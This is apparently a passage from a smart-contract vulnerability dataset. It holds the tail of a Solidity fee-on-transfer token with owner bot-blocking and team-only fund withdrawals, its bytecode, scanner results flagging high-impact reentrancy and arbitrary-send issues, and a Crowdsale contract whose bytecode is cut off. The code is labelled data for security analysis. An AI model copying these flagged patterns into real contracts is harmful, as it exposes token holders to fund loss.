lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 4000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102be578063a9059cbb146102ee578063c3c8cd801461030e578063d543dbeb14610323578063dd62ed3e1461034357600080fd5b80636fc3eaec1461024c57806370a0823114610261578063715018a6146102815780638da5cb5b1461029657600080fd5b806323b872dd116100dc57806323b872dd146101bb578063293230b8146101db578063313ce567146101f05780635932ead11461020c5780636b9990531461022c57600080fd5b8062b8cf2a1461011857806306fdde031461013a578063095ea7b31461016557806318160ddd1461019557600080fd5b3661011357005b600080fd5b34801561012457600080fd5b506101386101333660046118b3565b610389565b005b34801561014657600080fd5b5061014f610436565b60405161015c91906119f7565b60405180910390f35b34801561017157600080fd5b50610185610180366004611888565b610456565b604051901515815260200161015c565b3480156101a157600080fd5b50683635c9adc5dea000005b60405190815260200161015c565b3480156101c757600080fd5b506101856101d6366004611848565b61046d565b3480156101e757600080fd5b506101386104d6565b3480156101fc57600080fd5b506040516009815260200161015c565b34801561021857600080fd5b5061013861022736600461197a565b610899565b34801561023857600080fd5b506101386102473660046117d8565b6108e1565b34801561025857600080fd5b5061013861092c565b34801561026d57600080fd5b506101ad61027c3660046117d8565b610959565b34801561028d57600080fd5b5061013861097b565b3480156102a257600080fd5b506000546040516001600160a01b03909116815260200161015c565b3480156102ca57600080fd5b5060408051808201909152600781526623a620aaa122a960c91b602082015261014f565b3480156102fa57600080fd5b50610185610309366004611888565b6109ef565b34801561031a57600080fd5b506101386109fc565b34801561032f57600080fd5b5061013861033e3660046119b2565b610a32565b34801561034f57600080fd5b506101ad61035e366004611810565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103bc5760405162461bcd60e51b81526004016103b390611a4a565b60405180910390fd5b60005b8151811015610432576001600a60008484815181106103ee57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061042a81611b5d565b9150506103bf565b5050565b6060604051806060016040528060228152602001611bf060229139905090565b6000610463338484610b05565b5060015b92915050565b600061047a848484610c29565b6104cc84336104c785604051806060016040528060288152602001611bc8602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061103b565b610b05565b5060019392505050565b6000546001600160a01b031633146105005760405162461bcd60e51b81526004016103b390611a4a565b600f54600160a01b900460ff161561055a5760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c7265616479207374617274656400000000000060448201526064016103b3565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105973082683635c9adc5dea00000610b05565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105d057600080fd5b505afa1580156105e4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060891906117f4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561065057600080fd5b505afa158015610664573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068891906117f4565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156106d057600080fd5b505af11580156106e4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070891906117f4565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061073881610959565b60008061074d6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107b057600080fd5b505af11580156107c4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107e991906119ca565b5050600f8054673782dace9d90000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561086157600080fd5b505af1158015610875573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104329190611996565b6000546001600160a01b031633146108c35760405162461bcd60e51b81526004016103b390611a4a565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b0316331461090b5760405162461bcd60e51b81526004016103b390611a4a565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600c546001600160a01b0316336001600160a01b03161461094c57600080fd5b4761095681611075565b50565b6001600160a01b038116600090815260026020526040812054610467906110fa565b6000546001600160a01b031633146109a55760405162461bcd60e51b81526004016103b390611a4a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610463338484610c29565b600c546001600160a01b0316336001600160a01b031614610a1c57600080fd5b6000610a2730610959565b90506109568161117e565b6000546001600160a01b03163314610a5c5760405162461bcd60e51b81526004016103b390611a4a565b60008111610aac5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016103b3565b610aca6064610ac4683635c9adc5dea0000084611323565b906113a2565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b675760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b3565b6001600160a01b038216610bc85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b3565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c8d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b3565b6001600160a01b038216610cef5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b3565b60008111610d515760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103b3565b6000546001600160a01b03848116911614801590610d7d57506000546001600160a01b03838116911614155b15610fde57600f54600160b81b900460ff1615610e64576001600160a01b0383163014801590610db657506001600160a01b0382163014155b8015610dd05750600e546001600160a01b03848116911614155b8015610dea5750600e546001600160a01b03838116911614155b15610e6457600e546001600160a01b0316336001600160a01b03161480610e245750600f546001600160a01b0316336001600160a01b0316145b610e645760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103b3565b601054811115610e7357600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610eb557506001600160a01b0382166000908152600a602052604090205460ff16155b610ebe57600080fd5b600f546001600160a01b038481169116148015610ee95750600e546001600160a01b03838116911614155b8015610f0e57506001600160a01b03821660009081526005602052604090205460ff16155b8015610f235750600f54600160b81b900460ff165b15610f71576001600160a01b0382166000908152600b60205260409020544211610f4c57600080fd5b610f5742603c611aef565b6001600160a01b0383166000908152600b60205260409020555b6000610f7c30610959565b600f54909150600160a81b900460ff16158015610fa75750600f546001600160a01b03858116911614155b8015610fbc5750600f54600160b01b900460ff165b15610fdc57610fca8161117e565b478015610fda57610fda47611075565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061102057506001600160a01b03831660009081526005602052604090205460ff165b15611029575060005b611035848484846113e4565b50505050565b6000818484111561105f5760405162461bcd60e51b81526004016103b391906119f7565b50600061106c8486611b46565b95945050505050565b600c546001600160a01b03166108fc61108f8360026113a2565b6040518115909202916000818181858888f193505050501580156110b7573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110d28360026113a2565b6040518115909202916000818181858888f19350505050158015610432573d6000803e3d6000fd5b60006006548211156111615760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103b3565b600061116b611410565b905061117783826113a2565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111d457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122857600080fd5b505afa15801561123c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126091906117f4565b8160018151811061128157634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112a79130911684610b05565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112e0908590600090869030904290600401611a7f565b600060405180830381600087803b1580156112fa57600080fd5b505af115801561130e573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008261133257506000610467565b600061133e8385611b27565b90508261134b8583611b07565b146111775760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103b3565b600061117783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611433565b806113f1576113f1611461565b6113fc848484611484565b80611035576110356005600855600a600955565b600080600061141d61157b565b909250905061142c82826113a2565b9250505090565b600081836114545760405162461bcd60e51b81526004016103b391906119f7565b50600061106c8486611b07565b6008541580156114715750600954155b1561147857565b60006008819055600955565b600080600080600080611496876115bd565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114c8908761161a565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114f7908661165c565b6001600160a01b038916600090815260026020526040902055611519816116bb565b6115238483611705565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156891815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061159782826113a2565b8210156115b457505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115da8a600854600954611729565b92509250925060006115ea611410565b905060008060006115fd8e878787611778565b919e509c509a509598509396509194505050505091939550919395565b600061117783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061103b565b6000806116698385611aef565b9050838110156111775760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103b3565b60006116c5611410565b905060006116d38383611323565b306000908152600260205260409020549091506116f0908261165c565b30600090815260026020526040902055505050565b600654611712908361161a565b600655600754611722908261165c565b6007555050565b600080808061173d6064610ac48989611323565b905060006117506064610ac48a89611323565b90506000611768826117628b8661161a565b9061161a565b9992985090965090945050505050565b60008080806117878886611323565b905060006117958887611323565b905060006117a38888611323565b905060006117b582611762868661161a565b939b939a50919850919650505050505050565b80356117d381611ba4565b919050565b6000602082840312156117e9578081fd5b813561117781611ba4565b600060208284031215611805578081fd5b815161117781611ba4565b60008060408385031215611822578081fd5b823561182d81611ba4565b9150602083013561183d81611ba4565b809150509250929050565b60008060006060848603121561185c578081fd5b833561186781611ba4565b9250602084013561187781611ba4565b929592945050506040919091013590565b6000806040838503121561189a578182fd5b82356118a581611ba4565b946020939093013593505050565b600060208083850312156118c5578182fd5b823567ffffffffffffffff808211156118dc578384fd5b818501915085601f8301126118ef578384fd5b81358181111561190157611901611b8e565b8060051b604051601f19603f8301168101818110858211171561192657611926611b8e565b604052828152858101935084860182860187018a1015611944578788fd5b8795505b8386101561196d57611959816117c8565b855260019590950194938601938601611948565b5098975050505050505050565b60006020828403121561198b578081fd5b813561117781611bb9565b6000602082840312156119a7578081fd5b815161117781611bb9565b6000602082840312156119c3578081fd5b5035919050565b6000806000606084860312156119de578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a2357858101830151858201604001528201611a07565b81811115611a345783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ace5784516001600160a01b031683529383019391830191600101611aa9565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b0257611b02611b78565b500190565b600082611b2257634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b4157611b41611b78565b500290565b600082821015611b5857611b58611b78565b500390565b6000600019821415611b7157611b71611b78565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461095657600080fd5b801515811461095657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365476c617562657220496e75202d20742e6d652f676c6175626572696e75746f6b656ea264697066735822122028b01ef283820592a5290b617cc11f0965580e7d42cd63aaacbe45093fac392064736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
9,531
0x860d555646584407f2041803920b1d5e1ff043c3
// v7 /** * Crowdsale.sol */ pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. * @param a First number * @param b Second number */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. * @param a First number * @param b Second number */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). * @param a First number * @param b Second number */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. * @param a First number * @param b Second number */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title TokenContract * @dev Token contract interface with transfer and balanceOf functions which need to be implemented */ interface TokenContract { /** * @dev Transfer funds to recipient address * @param _recipient Recipients address * @param _amount Amount to transfer */ function transfer(address _recipient, uint256 _amount) external returns (bool); /** * @dev Return balance of holders address * @param _holder Holders address */ function balanceOf(address _holder) external view returns (uint256); } /** * @title InvestorsStorage * @dev InvestorStorage contract interface with newInvestment, getInvestedAmount and investmentRefunded functions which need to be implemented */ interface InvestorsStorage { function newInvestment(address _investor, uint256 _amount) external; function getInvestedAmount(address _investor) external view returns (uint256); function investmentRefunded(address _investor) external; } /** * @title CrowdSale * @dev Main Crowdsale Contract which executes and handles crowdsale of the tokens */ contract CrowdSale is Ownable { using SafeMath for uint256; // variables TokenContract public tkn; InvestorsStorage public investorsStorage; uint256 public levelEndDate; uint256 public currentLevel; uint256 public levelTokens = 1500000; uint256 public tokensSold; uint256 public weiRised; uint256 public ethPrice; address[] public investorsList; bool public crowdSalePaused; bool public crowdSaleEnded; uint256[10] private tokenPrice = [52, 54, 56, 58, 60, 62, 64, 66, 68, 70]; uint256 private baseTokens = 1500000; uint256 private usdCentValue; uint256 private minInvestment; address public affiliatesAddress = 0xFD534c1Fd8f9F230deA015B31B77679a8475052A; /** * @dev Constructor of CrowdSale contract */ constructor() public { levelEndDate = block.timestamp + (1 * 7 days); tkn = TokenContract(0x5313E9783E5b56389b14Cd2a99bE9d283a03f8c6); // address of the token contract investorsStorage = InvestorsStorage(0x15c7c30B980ef442d3C811A30346bF9Dd8906137); // address of the storage contract minInvestment = 100 finney; updatePrice(5000); } /** * @dev Fallback payable function which executes additional checks and functionality when tokens need to be sent to the investor */ function() payable public { require(msg.value >= minInvestment); // check for minimum investment amount require(!crowdSalePaused); require(!crowdSaleEnded); if (currentLevel < 9) { // there are 10 levels, array start with 0 if (levelEndDate < block.timestamp) { // if the end date of the level is reached currentLevel += 1; // next level levelTokens += baseTokens; // add remaining tokens to next level levelEndDate = levelEndDate.add(1 * 7 days); // restart end date } prepareSell(msg.sender, msg.value); } else { if (levelEndDate < block.timestamp) { // on last level, ask for extension, if the crowd sale is not extended then end crowdSaleEnded = true; msg.sender.transfer(msg.value); } else { prepareSell(msg.sender, msg.value); } } } /** * @dev Prepare sell of the tokens * @param _investor Investors address * @param _amount Amount invested */ function prepareSell(address _investor, uint256 _amount) private { uint256 remaining; uint256 pricePerCent; uint256 pricePerToken; uint256 toSell; uint256 amount = _amount; uint256 sellInWei; address investor = _investor; pricePerCent = getUSDPrice(); pricePerToken = pricePerCent.mul(tokenPrice[currentLevel]); toSell = _amount.div(pricePerToken); if (toSell < levelTokens) { // if there is enough tokens left in the current level, sell from it levelTokens = levelTokens.sub(toSell); weiRised = weiRised.add(_amount); executeSell(investor, toSell, _amount); owner.transfer(_amount); } else { // if not, sell from 2 or more different levels while (amount > 0) { if (toSell > levelTokens) { toSell = levelTokens; // sell all the remaining in the level sellInWei = toSell.mul(pricePerToken); amount = amount.sub(sellInWei); if (currentLevel < 9) { currentLevel += 1; levelTokens = baseTokens; if (currentLevel == 9) { baseTokens = tkn.balanceOf(address(this)); // on last level, sell the remaining from presale } } else { remaining = amount; amount = 0; } } else { sellInWei = amount; amount = 0; } executeSell(investor, toSell, sellInWei); weiRised = weiRised.add(sellInWei); owner.transfer(amount); if (amount > 0) { toSell = amount.div(pricePerToken); } if (remaining > 0) { investor.transfer(remaining); owner.transfer(address(this).balance); crowdSaleEnded = true; } } } } /** * @dev Execute sell of the tokens - send investor to investors storage and transfer tokens * @param _investor Investors address * @param _tokens Amount of tokens to be sent * @param _weiAmount Amount invested in wei */ function executeSell(address _investor, uint256 _tokens, uint256 _weiAmount) private { uint256 totalTokens = _tokens * (10 ** 18); tokensSold += _tokens; // update tokens sold investorsStorage.newInvestment(_investor, _weiAmount); require(tkn.transfer(_investor, totalTokens)); // transfer the tokens to the investor emit NewInvestment(_investor, totalTokens); } /** * @dev When the crowdsale ends, tokens left are sent to the affiliate address and crowdsale is terminated */ function terminateCrowdSale() onlyOwner public { require(crowdSaleEnded); uint256 remainingTokens = tkn.balanceOf(address(this)); require(tkn.transfer(affiliatesAddress, remainingTokens)); selfdestruct(owner); } /** * @dev Getter for USD price of tokens */ function getUSDPrice() private view returns (uint256) { return usdCentValue; } /** * @dev Change USD price of tokens * @param _ethPrice New Ether price */ function updatePrice(uint256 _ethPrice) private { uint256 centBase = 1 * 10 ** 16; require(_ethPrice > 0); ethPrice = _ethPrice; usdCentValue = centBase.div(_ethPrice); } /** * @dev Set USD to ETH value * @param _ethPrice New Ether price */ function setUsdEthValue(uint256 _ethPrice) onlyOwner external { // set the ETH value in USD updatePrice(_ethPrice); } /** * @dev Set the crowdsale contract address * @param _investorsStorage InvestorsStorage contract address */ function setStorageAddress(address _investorsStorage) onlyOwner public { // set the storage contract address investorsStorage = InvestorsStorage(_investorsStorage); } /** * @dev Pause the crowdsale * @param _paused Paused state - true/false */ function pauseCrowdSale(bool _paused) onlyOwner public { // pause the crowdsale crowdSalePaused = _paused; } /** * @dev Get funds */ function getFunds() onlyOwner public { // claim the funds owner.transfer(address(this).balance); } event NewInvestment(address _investor, uint256 tokens); }
0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305f3a852146102355780631f3ee21f1461028c5780632469a846146102b95780632ccc8727146102d05780632d9240f31461033d5780634215da7d1461036c5780634d9b3735146103c3578063518ab2a8146103da57806359b910d6146104055780637f9f54951461044857806383fbc2b4146104735780638da5cb5b1461049e5780639dc4b9c9146104f5578063cabe2c0a14610520578063d7067dc51461054b578063dd192de71461057a578063f2fde38b146105d1578063fd2b6b1914610614578063ff186b2e14610643575b601754341015151561011857600080fd5b600a60009054906101000a900460ff1615151561013457600080fd5b600a60019054906101000a900460ff1615151561015057600080fd5b600960045410156101b6574260035410156101a75760016004600082825401925050819055506015546005600082825401925050819055506101a062093a8060035461066e90919063ffffffff16565b6003819055505b6101b1333461068c565b610233565b426003541015610227576001600a60016101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610221573d6000803e3d6000fd5b50610232565b610231333461068c565b5b5b005b34801561024157600080fd5b5061024a610ad0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561029857600080fd5b506102b760048036038101908080359060200190929190505050610af6565b005b3480156102c557600080fd5b506102ce610b5d565b005b3480156102dc57600080fd5b506102fb60048036038101908080359060200190929190505050610e36565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561034957600080fd5b5061036a600480360381019080803515159060200190929190505050610e74565b005b34801561037857600080fd5b50610381610eec565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103cf57600080fd5b506103d8610f12565b005b3480156103e657600080fd5b506103ef610fee565b6040518082815260200191505060405180910390f35b34801561041157600080fd5b50610446600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff4565b005b34801561045457600080fd5b5061045d611093565b6040518082815260200191505060405180910390f35b34801561047f57600080fd5b50610488611099565b6040518082815260200191505060405180910390f35b3480156104aa57600080fd5b506104b361109f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561050157600080fd5b5061050a6110c4565b6040518082815260200191505060405180910390f35b34801561052c57600080fd5b506105356110ca565b6040518082815260200191505060405180910390f35b34801561055757600080fd5b506105606110d0565b604051808215151515815260200191505060405180910390f35b34801561058657600080fd5b5061058f6110e3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105dd57600080fd5b50610612600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611109565b005b34801561062057600080fd5b5061062961125e565b604051808215151515815260200191505060405180910390f35b34801561064f57600080fd5b50610658611271565b6040518082815260200191505060405180910390f35b600080828401905083811015151561068257fe5b8091505092915050565b60008060008060008060008792508890506106a5611277565b95506106cc600b600454600a811015156106bb57fe5b01548761128190919063ffffffff16565b94506106e185896112bc90919063ffffffff16565b935060055484101561079b57610702846005546112d790919063ffffffff16565b60058190555061071d8860075461066e90919063ffffffff16565b60078190555061072e81858a6112f0565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc899081150290604051600060405180830381858888f19350505050158015610795573d6000803e3d6000fd5b50610ac5565b5b6000831115610ac45760055484111561091f5760055493506107c7858561128190919063ffffffff16565b91506107dc82846112d790919063ffffffff16565b9250600960045410156109125760016004600082825401925050819055506015546005819055506009600454141561090d57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156108cb57600080fd5b505af11580156108df573d6000803e3d6000fd5b505050506040513d60208110156108f557600080fd5b81019080805190602001909291905050506015819055505b61091a565b829650600092505b610927565b829150600092505b6109328185846112f0565b6109478260075461066e90919063ffffffff16565b6007819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f193505050501580156109b4573d6000803e3d6000fd5b5060008311156109d4576109d185846112bc90919063ffffffff16565b93505b6000871115610abf578073ffffffffffffffffffffffffffffffffffffffff166108fc889081150290604051600060405180830381858888f19350505050158015610a23573d6000803e3d6000fd5b506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610aa2573d6000803e3d6000fd5b506001600a60016101000a81548160ff0219169083151502179055505b61079c565b5b505050505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b5157600080fd5b610b5a81611568565b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bba57600080fd5b600a60019054906101000a900460ff161515610bd557600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610c9257600080fd5b505af1158015610ca6573d6000803e3d6000fd5b505050506040513d6020811015610cbc57600080fd5b81019080805190602001909291905050509050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff